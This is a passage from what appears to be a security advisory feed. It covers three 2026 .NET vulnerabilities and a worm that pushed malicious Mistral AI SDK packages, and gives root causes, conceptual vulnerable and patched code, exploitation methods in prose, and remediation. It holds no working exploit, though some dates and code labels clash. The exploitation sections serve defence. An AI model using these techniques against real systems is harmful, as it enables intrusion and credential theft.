verify the size of incoming data structures before copying them into memory. This omission permits an attacker to write data beyond the allocated boundaries of a heap buffer. Exploitation results in local elevation of privilege (LPE). The attacker must supply a crafted file to a local user and rely on the victim to process the file with a vulnerable application. Successful exploitation grants the attacker the ability to execute arbitrary code within the security context of the host application. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of CVE-2026-32177 lies in the insufficient boundary checking mechanism during the processing of crafted file artifacts. When the .NET runtime encounters specific file fields, it reads a user-supplied length parameter. The parser trusts this length value without validating it against the maximum expected size or the allocated destination buffer size. Following the length extraction, the runtime allocates a memory chunk on the heap. Depending on the specific execution path, this allocation may use a fixed size or a miscalculated value. The discrepancy between the allocated size and the incoming payload size establishes the conditions for memory corruption. A subsequent `memcpy` or equivalent block copy operation transfers the file data into the newly allocated heap buffer. Because the copy operation uses the unvalidated length parameter, it writes past the end of the buffer. This overflow overwrites adjacent heap metadata and application data. ```mermaid graph LR A["Read User Payload Length"] --> B["Allocate Inadequate Heap Chunk"] B --> C["Execute Memory Copy"] C --> D["Overwrite Adjacent Heap Objects"] ``` The overwritten memory segments typically contain critical data structures, such as object headers, virtual method tables (vtables), or function pointers. Modifying these structures allows the attacker to hijack the control flow predictability when the application attempts to use the corrupted objects. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis The vulnerability stems from a common pattern in memory management within the unmanaged portions of the .NET runtime, specifically within `clr.dll` or `coreclr.dll`. The parser function extracts a data segment length from the file structure and allocates a buffer without enforcing strict boundary limits. ```c // Conceptual representation of vulnerable parsing logic uint32_t payload_length = ReadUInt32FromFile(file_stream); // VULNERABILITY: Allocation occurs without bounding payload_length void* destination_buffer = HeapAlloc(GetProcessHeap(), 0, payload_length); // Copy operation blindly trusts payload_length, exceeding expected limits ReadFileData(file_stream, destination_buffer, payload_length); ``` The patch implements mandatory bounds checking and integer overflow protections. Microsoft addresses this by introducing a maximum size constraint and validating the payload length before triggering the heap allocation. If the length exceeds the expected boundary, the parser returns an error and aborts the file processing operation. ```c // Conceptual representation of patched parsing logic uint32_t payload_length = ReadUInt32FromFile(file_stream); // FIX: Introduce strict boundary validation against a known constant if (payload_length > MAX_ALLOWED_PAYLOAD_SIZE || payload_length == 0) { return ERROR_INVALID_DATA; } void* destination_buffer = HeapAlloc(GetProcessHeap(), 0, payload_length); if (!destination_buffer) { return ERROR_OUTOFMEMORY; } ReadFileData(file_stream, destination_buffer, payload_length); ``` {/* icon: skull */} {/* type: exploit */} ## Exploitation Methodology Exploitation of CVE-2026-32177 requires the attacker to position a malicious file on the target system. The attack vector is local (AV:L), meaning the adversary must deliver the payload via phishing, removable media, or network shares. The exploit relies on the victim initiating the parsing process by opening the file in a .NET application or an IDE like Visual Studio. Upon opening the file, the unmanaged runtime components invoke the vulnerable parsing routines. The crafted payload triggers the heap allocation and subsequent overflow. The attacker meticulously constructs the payload padding to ensure the overflow targets specific adjacent objects in the memory heap. The payload typically overwrites a vtable pointer of a neighboring object. When the application later invokes a virtual method on this corrupted object, execution redirects to a memory address controlled by the attacker. This transition marks the shift from memory corruption to arbitrary code execution. The final stage involves the execution of the attacker's shellcode or return-oriented programming (ROP) chain. If the victim runs the vulnerable application with administrative privileges, the attacker inherits these elevated rights. This sequence results in full local elevation of privilege and subsequent system compromise. {/* icon: bar-chart */} {/* type: deep-dive */} ## Impact Assessment The CVSS v3.1 base score for CVE-2026-32177 is 7.3, reflecting a high-severity local attack. The vector (`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L`) specifies that the attack complexity is low. No initial privileges are required by the attacker, but user interaction is strictly necessary to trigger the vulnerability. Successful exploitation compromises system confidentiality and integrity. The attacker gains the ability to read arbitrary memory, exfiltrate sensitive data, and modify system configurations within the context of the user running the application. The direct impact on system availability is rated as low, although the host process may crash if the exploit fails to stabilize the heap properly. The Exploit Prediction Scoring System (EPSS) assigns a probability of 0.00096 (0.10%) for exploitation within the next 30 days, placing it in the 26.27th percentile. As of the initial disclosure date, there is no public proof-of-concept (PoC) code. The vulnerability is currently unlisted in the CISA Known Exploited Vulnerabilities (KEV) catalog. {/* icon: shield */} {/* type: mitigation */} ## Remediation and Detection Microsoft released comprehensive security updates for all affected products during the May 2026 Patch Tuesday cycle. Organizations must prioritize patching .NET Core implementations (versions 8.0, 9.0, and 10.0), legacy .NET Framework instances, and Visual Studio installations. Deploying the updated runtime components resolves the vulnerability by enforcing proper input validation and memory bounds checking. Environments unable to patch immediately should enforce the principle of least privilege. Users must not operate development tools or execute unverified applications with administrative rights. Restricting execution privileges limits the potential impact of a successful control flow hijack to the standard user's permissions. Security teams should implement host-based monitoring to detect anomalous application behavior. Analysts must review system logs for `APPCRASH` events associated with `clr.dll`, `coreclr.dll`, or `mscorwks.dll`. Exception codes such as `0xc0000409` (indicating a fast fail, often tied to buffer overruns) and `0xc0000005` (Access Violation) indicate potential exploitation attempts or failed heap grooming procedures. Alon Barad https://cvereports.com/reports/CVE-2026-42899 https://cvereports.com/reports/CVE-2026-42899 Mon, 18 May 2026 19:10:59 GMT {/* icon: search */} {/* type: deep-dive */} ## Vulnerability Overview CVE-2026-42899 manifests as a severe Denial of Service (DoS) condition affecting multiple versions of the .NET runtime and the ASP.NET Core framework. The vulnerability is formally classified as a Loop with Unreachable Exit Condition (CWE-835). Remote attackers can exploit this flaw without authentication by submitting specifically crafted network payloads that cause the server process to enter an infinite loop. The architectural consequence of this vulnerability is complete worker thread exhaustion. When the targeted component enters the looping state, it continuously consumes CPU cycles without processing subsequent network traffic or relinquishing thread execution. This behavior rapidly forces the host CPU utilization to 100%, causing the application to become unresponsive to all benign user requests and resulting in localized service unavailability. The flaw is systemic rather than isolated, originating from discrete logic errors across several core framework components. Vulnerable subsystems include the `ManagedAuthenticatedEncryptor` within Data Protection, the `RequestDelegateFactory` used by Minimal APIs, Kestrel's HTTP/2 frame stream processing, and the `HybridCache` stampede protection mechanisms. This broad attack surface provides attackers with multiple distinct entry points to achieve the same denial of service condition. {/* icon: code */} {/* type: deep-dive */} ## Root Cause Analysis The fundamental cause of the vulnerability spans multiple discrete logic errors where error conditions or stream transitions fail to advance process state. In the Data Protection component, `ManagedAuthenticatedEncryptor.CalculateAndValidateMac` contained an offset calculation error. The validation algorithm incorrectly hashed the memory range containing the MAC itself, rather than the data payload (IV and Ciphertext) it was supposed to protect. This deterministic failure resulted in a `CryptographicException` on every validation attempt. When this `CryptographicException` triggered within certain stream processing or cookie parsing loops, the exception handler caught the error but failed to increment the stream pointer. The loop immediately re-evaluated the exact same un-incremented memory segment, throwing the exception again. This sequence created an unbroken execution cycle that consumed the executing thread indefinitely. In the Minimal API implementation, the `RequestDelegateFactory` improperly evaluated pipeline readiness during parameter binding failures. The logic checked `FilterFactories.Count > 0` to bypass an early HTTP 400 Bad Request return. If a filter factory was registered but the subsequent execution pipeline remained unbuilt or null, the execution path became undefined. The application bypassed the failure exit node but lacked a valid continuation path, trapping the request binding process in an infinite execution loop. Additional subsystems exhibited similar state management flaws. The `HybridCache` library failed to clear waiter structures or transition state machines when background fetch operations failed. Similarly, HttpSys and Kestrel HTTP/2 response streaming components failed to decrement remaining byte counts or advance buffer pointers when native Windows HTTP APIs or internal functions returned zero processed bytes upon encountering application-layer errors. {/* icon: file-code */} {/* type: deep-dive */} ## Code Analysis The mitigation for the Data Protection component addresses the improper boundary calculation that guaranteed MAC validation failure. The original implementation calculated the hash over the incorrect memory span, starting at the `macOffset` and ending at the `eofOffset`. The patched code correctly calculates the hash beginning at the `ivOffset` and spanning the length of the data payload. ```csharp // File: src/DataProtection/DataProtection/src/Managed/ManagedAuthenticatedEncryptor.cs // VULNERABLE CODE: - correctHashArray = validationAlgorithm.ComputeHash(payloadArray, macOffset, eofOffset - macOffset); // PATCHED CODE: + correctHash = validationAlgorithm.ComputeHash(payloadArray, ivOffset, macOffset - ivOffset); ``` The Data Protection patch also resolves an underlying variable assignment issue where the `correctHash` buffer, implemented as a `Span<byte>`, failed to correctly reference heap-allocated memory during scope transitions. By correcting the hash calculation input and enforcing strict pointer advancements upon validation failure, the framework guarantees the loop exit condition. For Minimal APIs, the patch shifts the validation logic from checking static collection counts to checking actual compilation state. The `RequestDelegateFactory` now utilizes a discrete boolean variable to confirm pipeline initialization. ```typescript // File: src/Http/Http.Extensions/src/RequestDelegateFactory.cs // VULNERABLE CODE: - if (factoryContext.EndpointBuilder.FilterFactories.Count > 0) // PATCHED CODE: + if (filterPipelineBuilt) ``` This modification ensures that parameter binding failures only bypass the immediate `400 Bad Request` return if a fully constructed filter pipeline exists to receive and process the error context. These modifications eliminate the specific execution conditions required to sustain the looping behavior. {/* icon: skull */} {/* type: exploit */} ## Exploitation and Attack Vectors Exploitation requires no authentication and relies solely on the submission of intentionally malformed network requests. To target the Minimal API implementation, an attacker identifies an endpoint utilizing request filters. The attacker then submits a request containing structurally invalid parameters, such as supplying a non-alphanumeric string to a route expecting a valid GUID format. This forces the parameter binder to fail and triggers the unhandled execution path logic. The Data Protection attack vector focuses on application payloads that require cryptographic validation, such as session cookies or anti-forgery tokens. The attacker captures a valid payload, alters the appended MAC bytes, and resubmits the request. When the server attempts to parse the payload, the altered MAC triggers the calculation failure, initializing the `CryptographicException` loop and stalling the worker process. ```mermaid graph LR A["Attacker Request"] --> B["Payload Parsing Segment"] B --> C["Data Protection MAC Check"] C --> D["CryptographicException Thrown"] D --> E["Exception Caught"] E --> F["Pointer Fails to Advance"] F --> C ``` Attackers targeting the Kestrel HTTP/2 implementation operate at the protocol layer. The attack involves establishing an HTTP/2 connection and rapidly transmitting a `HEADERS` frame followed immediately by an invalid data sequence that forces an application-tier failure. The subsequent application exception triggers a `RST_STREAM` action that fails to clear the pending data buffer, causing Kestrel's frame reader to continuously attempt read operations against the stale memory segment. {/* icon: activity */} {/* type: deep-dive */} ## Impact Assessment A successful attack structurally compromises the availability of the application layer. Worker threads consumed by the infinite loop are incapable of servicing new or existing network requests. Because this vulnerability affects Kestrel and core pipeline components directly, an attacker sending a low volume of targeted requests can systematically exhaust the entire application pool thread allocation, completely halting web service operations. The CVSS v3.1 base score of 7.5 accurately captures the high severity of the availability impact, combined with the lack of authentication requirements and low attack complexity. Network placement does not mitigate the vulnerability; applications deployed behind reverse proxies or load balancers remain vulnerable because the proxies pass the malformed application-layer data directly to the vulnerable backend Kestrel processes. Despite the severe technical impact, the EPSS score currently sits at 0.00047 (0.05%), indicating a negligible observed probability of active exploitation in the wild. The absence of public proof-of-concept exploits and the specificity required to trigger the precise conditions in customized application pipelines currently limit widespread automated exploitation. However, the exact technical documentation provided in the patch diffs enables competent adversaries to reverse-engineer functioning exploits rapidly. {/* icon: shield */} {/* type: mitigation */} ## Remediation and Mitigation Organizations must upgrade their .NET runtime and ASP.NET Core framework installations to the latest patched releases. The official remediated versions are .NET 8.0.27, .NET 9.0.16, and .NET 10.0.8. Application binaries built as self-contained deployments must be recompiled using the updated SDK to incorporate the patched framework libraries. Applications utilizing JavaScript interop functionality, particularly Blazor WebAssembly or Single Page Applications, require dependency updates. Developers must ensure the package `lodash` is updated to version `4.18.0` or greater, and `serialize-javascript` is updated to version `7.0.5` or greater. These updates address the tracking failures in `StreamingInterop.ts` that contribute to client-server stream desynchronization. Where immediate patching is operationally impossible, security teams should implement strict Web Application Firewall (WAF) policies. WAF rules must validate request parameters, dropping structurally anomalous payloads before they reach the Minimal API router. Rate-limiting concurrent connections and enforcing strict timeouts on payload processing provides partial mitigation against the caching and stream-based vectors by terminating long-running connections forcefully. Alon Barad https://cvereports.com/reports/CVE-2026-35433 https://cvereports.com/reports/CVE-2026-35433 Mon, 18 May 2026 19:20:19 GMT {/* icon: shield */} {/* type: overview */} ## Vulnerability Overview CVE-2026-35433 identifies a critical weakness within the native layer of the .NET Desktop Runtime, specifically targeting components utilized by Windows Forms (WinForms) and Windows Presentation Foundation (WPF). The vulnerability is formally classified as CWE-122 (Heap-based Buffer Overflow), which is directly facilitated by preceding failures in input validation (CWE-20) and arithmetic safety (CWE-190). The affected subsystems are responsible for parsing and instantiating structured binary data, such as UI resources and serialized .NET Remoting Binary Format (NRBF) streams. The core issue surfaces when the runtime processes length-prefixed data structures originating from untrusted sources. Native libraries, likely including `wpfgfx_cor3.dll` or `Microsoft.Private.Winforms.dll`, extract integer fields from the input stream to determine memory allocation requirements. The runtime fails to validate these extracted integers against the actual stream boundaries or safe operational limits before utilizing them in memory allocation formulas. The Common Vulnerability Scoring System (CVSS v3.1) evaluates this flaw at 7.3 (High Severity). Exploitation mandates a local attack vector and requires explicit user interaction, meaning the victim must manually open a crafted file or initiate an application that consumes the malicious payload. Successful exploitation corrupts the native heap, granting the attacker the ability to execute arbitrary code within the context of the running application, which leads to privilege escalation if the application operates with elevated system rights. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The vulnerability stems from the processing of unstructured external data streams at the boundary between managed .NET code and native UI rendering libraries. When the .NET runtime loads a resource file (such as `.resx` or `.ico`) or deserializes an NRBF payload, it frequently offloads the processing of complex graphical or structural components to native C++ libraries. These native components expect well-formed length-prefixed data blocks. The parsing routine extracts a 32-bit integer representing the 'count' of elements to follow in the stream. To allocate a buffer large enough to hold these elements, the native code multiplies this count by the known size of a single element structure (e.g., `count * sizeof(ElementStruct)`). Because the count integer is directly controlled by the attacker and the runtime enforces no upper bounds check, supplying an artificially large value induces an integer overflow during this multiplication. For example, if the structure size is 4 bytes and the attacker supplies a count of `0x40000001`, the multiplication yields `0x10000004`. Due to the constraints of 32-bit arithmetic or truncated register usage, the value wraps around, resulting in a required allocation size of just `0x00000004` (4 bytes). The memory allocator successfully provisions this critically undersized heap buffer. Following the allocation, the runtime proceeds to read the elements from the stream and copy them into the newly allocated heap chunk. The copy loop executes based on the original, un-truncated count value. This operation forcefully writes data far past the 4-byte boundary of the allocated buffer, overwriting adjacent heap chunks, metadata, and resident objects with attacker-controlled data. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis and Patch Mechanics Analyzing the vulnerability requires examining the conceptual difference between the flawed native allocation logic and the corrected implementation introduced in the servicing updates. The vulnerable code path implicitly trusted attacker-provided integers during arithmetic operations destined for the heap allocator. ```cpp // Conceptual representation of the vulnerable native code path HRESULT ProcessResourceStream(IStream* pStream) { UINT32 elementCount = 0; pStream->Read(&elementCount, sizeof(UINT32), NULL); // VULNERABILITY: Integer overflow occurs here if elementCount is large UINT32 allocationSize = elementCount * sizeof(ResourceElement); // Allocator receives undersized value (e.g., 4 bytes) ResourceElement* pBuffer = (ResourceElement*)HeapAlloc(GetProcessHeap(), 0, allocationSize); // Out-of-bounds write occurs during the read loop for (UINT32 i = 0; i < elementCount; i++) { pStream->Read(&pBuffer[i], sizeof(ResourceElement), NULL); } } ``` The remediation strategy deployed by Microsoft in the .NET servicing updates relies on dependency rolls that update core libraries to utilize memory-safe abstractions and checked arithmetic. The patches strictly enforce capacity constraints before any allocation occurs. ```cpp // Conceptual representation of the patched native code path HRESULT ProcessResourceStream(IStream* pStream) { UINT32 elementCount = 0; pStream->Read(&elementCount, sizeof(UINT32), NULL); UINT32 allocationSize = 0; // PATCH: Checked multiplication prevents integer overflow if (FAILED(UInt32Mult(elementCount, sizeof(ResourceElement), &allocationSize))) { return E_INVALIDARG; } // PATCH: Validate against maximum allowed stream size or system limits if (allocationSize > MAX_ALLOWED_RESOURCE_SIZE) { return E_BOUNDS; } ResourceElement* pBuffer = (ResourceElement*)HeapAlloc(GetProcessHeap(), 0, allocationSize); // ... stream reading proceeds safely } ``` Additionally, the .NET team integrated widespread usage of `ReadOnlySpan<T>` across the managed interop layers. This modernization ensures that buffer bounds are explicitly tracked and verified by the managed runtime during marshalling operations, severely reducing the attack surface for similar memory corruption flaws in the future. {/* icon: skull */} {/* type: exploit */} ## Exploitation Methodology Exploiting CVE-2026-35433 requires an attacker to successfully manipulate the victim's local environment or trick the victim into executing a malicious asset. The primary delivery mechanism involves embedding the crafted payload within a seemingly benign file format natively processed by the .NET framework, such as a compiled `.resx` resource file, a custom application icon (`.ico`), or a serialized object file. The attacker must precisely construct the malicious file to trigger the integer overflow. This involves hex-editing the length prefix fields within the structured binary format to insert the calculated overflow trigger value (e.g., `0x40000001`). The remainder of the payload must contain the precise bytes intended to overwrite the adjacent heap memory. ```mermaid graph LR A["Attacker Crafts Payload"] --> B["Victim Opens File"] B --> C["Native Code Parses Length"] C --> D["Integer Overflow Calculation"] D --> E["Undersized Heap Allocation"] E --> F["Out-of-Bounds Memory Copy"] F --> G["Heap Corruption & Code Execution"] ``` To achieve reliable code execution, the attacker must bypass modern Windows memory mitigations, including Address Space Layout Randomization (ASLR) and Control Flow Guard (CFG). This typically requires heap grooming—manipulating the application's state to ensure that a target object containing a predictable function pointer or a virtual method table (vtable) resides immediately adjacent to the vulnerable undersized buffer. Upon executing the out-of-bounds copy, the payload overwrites the target vtable pointer with a controlled address pointing to an attacker-controlled execution chain (such as a Return-Oriented Programming payload). When the application subsequently invokes a virtual method on the corrupted adjacent object, execution flow redirects to the attacker's shellcode, finalizing the exploitation sequence. {/* icon: search */} {/* type: deep-dive */} ## Impact Assessment and Scope The concrete security impact of CVE-2026-35433 is bounded by the execution context of the application that triggers the vulnerability. Because the payload executes entirely within the compromised process space, the attacker assumes the identical permissions, token privileges, and identity of the victim application. If the victim runs the malicious application under a standard user account, the attacker achieves local arbitrary code execution. This facilitates initial access, persistence establishment, and the potential to exfiltrate user-specific data. While severe, this baseline scenario does not immediately grant system-wide control without chaining an additional local privilege escalation exploit. However, if the vulnerable application operates as a background service, an administrative tool, or a process explicitly elevated via User Account Control (UAC), the impact escalates drastically. In an elevated context, the attacker gains full NT AUTHORITY\SYSTEM or Administrator rights. This results in a total compromise of system confidentiality and integrity, allowing the deployment of rootkits, tampering with security software, and permanent system modification. The Exploit Prediction Scoring System (EPSS) currently assigns this vulnerability a score of 0.00122, placing it in the 30.67th percentile. This exceptionally low probability metric correlates with the current lack of public weaponization. Developing a reliable heap exploit against modern .NET native components requires deep expertise in Windows heap internals, limiting the immediate threat to highly resourced adversaries. {/* icon: shield */} {/* type: mitigation */} ## Remediation and Mitigation Strategies The definitive resolution for CVE-2026-35433 requires applying the specific servicing updates provided by Microsoft across all affected .NET environments. Organizations must update .NET 10.0 deployments to version 10.0.8, .NET 9.0 deployments to version 9.0.16, and .NET 8.0 deployments to version 8.0.27. These patches incorporate the essential bounds checking and checked arithmetic operations within the native libraries. For legacy systems relying on older framework versions, administrators must install the cumulative updates released in or after May 2026. This applies to environments utilizing .NET Framework 3.5, 4.7.2, 4.8, and 4.8.1. Patching these legacy frameworks is critical, as they heavily utilize the vulnerable WinForms and WPF native interop components across enterprise desktop fleets. In scenarios where immediate patching is administratively blocked, security teams should implement interim risk reduction strategies. Organizations must block the inbound delivery of untrusted `.resx` files, `.ico` files, and unknown binary-serialized objects at the email gateway and web proxy levels. Developers should audit internal applications to ensure they do not deserialize external NRBF payloads or load untrusted UI resources dynamically. Security operations centers should enhance endpoint detection and response (EDR) telemetry to monitor for anomalous application crashes. Applications relying on WinForms or WPF that crash with specific heap corruption exception codes (e.g., `0xC0000374`) require immediate forensic investigation, as these crashes serve as strong indicators of failed exploitation attempts. Amit Schendel https://cvereports.com/reports/GHSA-JGG6-4RPR-WFH7 https://cvereports.com/reports/GHSA-JGG6-4RPR-WFH7 Mon, 18 May 2026 17:55:53 GMT {/* icon: shield */} {/* type: overview */} ## Vulnerability Overview The vulnerability represents a direct supply chain compromise affecting the official software development kits published by Mistral AI. The attack surface encompasses developer workstations, CI/CD pipelines, and any downstream systems consuming the affected dependencies from the NPM and PyPI registries. The impacted components include multiple `@mistralai` scoped packages on NPM, specifically `@mistralai/mistralai`, `@mistralai/mistralai-azure`, and `@mistralai/mistralai-gcp`. A parallel compromise occurred in the Python ecosystem, affecting the `mistralai` package version `2.4.6` on PyPI. The root cause was not a flaw in the Mistral SDK codebase itself, but rather the compromise of the software distribution pipeline. An automated worm utilized stolen authentication tokens to masquerade as an authorized maintainer, subverting the trust controls inherent in package management ecosystems. {/* icon: search */} {/* type: deep-dive */} ## Root Cause Analysis The initial vector of the compromise traces back to a third-party developer ecosystem. The automated worm, designated 'Mini Shai-Hulud', originally targeted maintainers of the TanStack project. The worm acquired access to developer environments by stealing authentication tokens and session cookies associated with NPM and PyPI registries. A Mistral AI developer held maintainer privileges for both the targeted third-party libraries and official Mistral AI repositories. The worm compromised this specific developer's local environment, granting the malware administrative access to Mistral's package publishing pipeline. Once the local environment was compromised, the worm autonomously enumerated all packages for which the infected developer possessed publishing rights. It then initiated automated uploads of new package versions containing the embedded malicious payload, bypassing manual code review processes. {/* icon: code */} {/* type: deep-dive */} ## Payload Analysis and Execution Path The injected payload varied in functionality depending on the target ecosystem. The malicious code published to the `@mistralai` NPM packages functioned as a dropper, designed to fetch and execute a secondary payload from a remote command-and-control server. Analysis from multiple security vendors confirmed that the NPM variant of the dropper was broken. Execution failures within the post-install script prevented the final malware stage from running successfully on many victim machines. This execution failure mitigated the immediate technical impact for NPM consumers. Conversely, the PyPI payload embedded within `mistralai==2.4.6` was fully functional. This variant successfully executed its primary objectives, which included credential exfiltration and the subsequent propagation of the worm to newly infected developer environments. ```mermaid graph LR A["Compromised Developer"] -->|"Token Theft"| B["Mini Shai-Hulud Worm"] B -->|"Automated Publish"| C["NPM (@mistralai/*)"] B -->|"Automated Publish"| D["PyPI (mistralai==2.4.6)"] C -->|"Post-Install Execution"| E["Broken Dropper"] D -->|"Package Initialization"| F["Functional Malware"] F -->|"Propagation"| A ``` {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology The attack methodology relies entirely on subverting developer trust and manipulating package manager behaviors. The worm hooks into the installation phase of the package lifecycle. For NPM, this typically involves defining a `preinstall` or `postinstall` script within the malicious `package.json`. When a victim executes a standard installation command, the package manager inadvertently triggers the worm's bootstrap script. The script immediately attempts to spawn a hidden shell process to execute encoded instructions or initiate network connections to external infrastructure. The fully functional PyPI payload actively scans the local environment for configuration files, environment variables, and SSH keys. It targets high-value secrets, particularly authentication tokens that allow the worm to authenticate against version control systems and package registries to continue its lateral movement. {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment Successful execution of the functional payload results in a total loss of confidentiality and integrity for the infected environment. The attacker gains the capability to execute arbitrary code with the privileges of the user invoking the package manager. The primary objective of the payload is credential theft. Any secrets, API keys, or environment variables present on the compromised system must be considered compromised. Specifically, the `MISTRAL_API_KEY` is at high risk of exfiltration, leading to unauthorized resource consumption and potential data exposure on the Mistral AI platform. Forensic investigations by Mistral AI concluded that their internal infrastructure and production systems were not compromised during this incident. The blast radius was strictly limited to systems consuming the affected package versions published via the single compromised developer account. {/* icon: shield */} {/* type: mitigation */} ## Remediation and Mitigation Immediate remediation requires verifying installed package versions across all projects. Development and security teams must audit `package.json`, `package-lock.json`, and `requirements.txt` files for any `@mistralai` scoped dependencies or the `mistralai` Python package updated around May 12, 2025. If compromised versions are identified, they must be removed, and systems updated to the latest available clean versions published after the incident. Developers must forcefully purge local package caches to prevent accidental re-installation of the malicious artifacts. ```bash # Purge NPM cache forcefully npm cache clean --force # Reinstall dependencies npm install ``` Credential rotation is mandatory for any environment that executed the compromised packages. Administrators must immediately revoke and reissue all secrets, API keys, and specifically any `MISTRAL_API_KEY` instances that were accessible to the affected system during the vulnerability window. Amit Schendel